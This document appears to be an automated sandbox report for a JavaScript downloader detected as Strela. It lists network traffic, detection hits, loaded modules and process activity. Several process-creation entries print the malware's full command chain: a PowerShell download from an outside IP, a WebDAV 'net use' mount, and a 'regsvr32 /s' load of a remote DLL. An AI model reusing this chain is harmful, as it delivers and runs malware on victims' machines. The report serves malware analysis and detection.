6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.7:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000005.00000003.1278283796.000001FDE1165000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.1278646281.000001FDE1159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1336500002.000001759DA84000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1336500002.000001759DA9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1336500002.000001759DA48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1336500002.000001759DA84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;a
Source: svchost.exe, 0000000F.00000002.2563594231.00000211E3C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1329951708.00000211E3AC0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2356, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2254619394221055585.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guf1rks2.t4k.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2254619394221055585.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1672,i,11755538481191396504,2734980706319894843,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1672,i,11755538481191396504,2734980706319894843,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
